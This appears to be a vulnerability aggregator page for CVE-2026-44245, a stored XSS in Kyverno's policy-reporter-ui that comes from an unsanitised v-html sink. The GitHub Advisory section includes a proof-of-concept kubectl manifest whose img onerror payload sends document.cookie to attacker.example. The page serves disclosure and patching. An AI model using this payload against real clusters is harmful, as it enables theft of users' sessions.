CVE-2026-44245
JSON

6.1medium

Kyverno: [policy-reporter-ui] XSS via Stored Property Values in PropertyCard Component

Severity
6.1medium CVSS:3.1 by GitHub_M
Exploit likelihood
0.18% (higher than 8% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-q98m-7w8c-w388BIT-KYVERNO-2026-44245GO-2026-5577

Description

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 2.5.2, Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. This vulnerability is fixed in 2.5.2.

Affected

Product or packageVersionsReported by
kyverno kyverno< 2.5.2CVE List
github.com/kyverno/policy-reporter-ui (Go)before 2.5.2, before 2.5.2+incompatibleGitHub Advisory Database, Go Vulnerability Database
kyverno policy-reporter-uibefore 2.5.2NVD
kyverno (Bitnami)before 2.5.2Bitnami Vulnerability Database

All scores

GitHub_M6.1medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
GitHub6.1medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Bitnami Vulnerability Databasemedium rating

Classification

CWE-79

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to 2.5.2, Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. This vulnerability is fixed in 2.5.2.

GitHub Advisory Database
Summary

Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes (e.g., <img src=x onerror=alert(1)> padded to exceed 75 chars) bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. No DOMPurify or equivalent HTML sanitization library is present anywhere in the frontend codebase, confirming there is no compensating control between the API response and the sink.

This vulnerability was reproduced on the latest policy reporter UI version – 2.5.1.

PoC

Prerequisites: Kubernetes write access to PolicyReport resources in the target cluster (e.g., via a policy engine service account or direct kubectl access)

Create a Kubernetes PolicyReport resource with a crafted property value longer than 75 characters. When an authenticated Policy Reporter UI user browses to the affected namespace and expands the result row containing this property, the injected script executes in their browser.

kubectl apply -f - <<'EOF'
apiVersion: [wgpolicyk8s.io/v1alpha2](http://wgpolicyk8s.io/v1alpha2)
kind: PolicyReport
metadata:
  name: xss-poc
  namespace: default
results:
- message: "test"
  policy: xss-test-policy
  rule: check-rule
  result: fail
  properties:
    # Value > 75 chars and not an http/https URL -> routed to v-html sink
    advisory: "<img src=x onerror=\"fetch('[https://attacker.example/c?c='+document.cookie](https://attacker.example/c?c=%27+document.cookie))\"> padding padding padding"
EOF
# Once a UI user opens the results table for the 'default' namespace
# and expands the 'xss-test-policy' result row, the onerror handler fires
# and exfiltrates their session cookies to attacker.example
<img width="1562" height="1061" alt="Снимок экрана — 2026-04-21 в 10 52 17" src="https://github.com/user-attachments/assets/fe542ccb-1662-44cb-802f-7998aa145db7" /> <img width="1041" height="939" alt="Снимок экрана — 2026-04-21 в 10 51 44" src="https://github.com/user-attachments/assets/bc07cf20-aea5-4a90-838f-c428d88a92b7" />
Impact

XSS

Go Vulnerability Database

Kyverno policy-reporter-ui has XSS via Stored Property Values in PropertyCard Component in github.com/kyverno/policy-reporter-ui

NVD (es)

Kyverno es un motor de políticas diseñado para equipos de ingeniería de plataformas nativas de la nube. Antes de la versión 2.5.2, la directiva v-html de Vue 3 es el mecanismo documentado por el framework para inyectar HTML sin procesar, y deshabilita intencionalmente el auto-escapado que proporciona la interpolación {{ }}. El componente PropertyCard.vue utiliza v-html para la rama ’else’ de la verificación de URL, lo que significa que cualquier valor de cadena que no sea una URL fluye directamente al DOM como HTML. La guarda isURL() solo filtra valores que se analizan como URL http: o https:, por lo que cualquier carga útil HTML que no comience con esos esquemas la elude por completo. Los datos se originan en los campos .results[].properties de Kubernetes PolicyReport, que son mapas de cadenas arbitrarios rellenados por motores de políticas y potencialmente por cualquier entidad con acceso de escritura a los objetos PolicyReport en el clúster. Esta vulnerabilidad se corrige en la versión 2.5.2.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-44245 changed 2026-05-13CVE Terms of Use
GitHub Advisory DatabaseGHSA-q98m-7w8c-w388 changed 2026-09-10CC-BY-4.0
Go Vulnerability DatabaseGO-2026-5577 changed 2026-06-25CC-BY-4.0
NVDCVE-2026-44245 changed 2026-11-11Public domain
Bitnami Vulnerability DatabaseBIT-KYVERNO-2026-44245 changed 2026-06-25Apache-2.0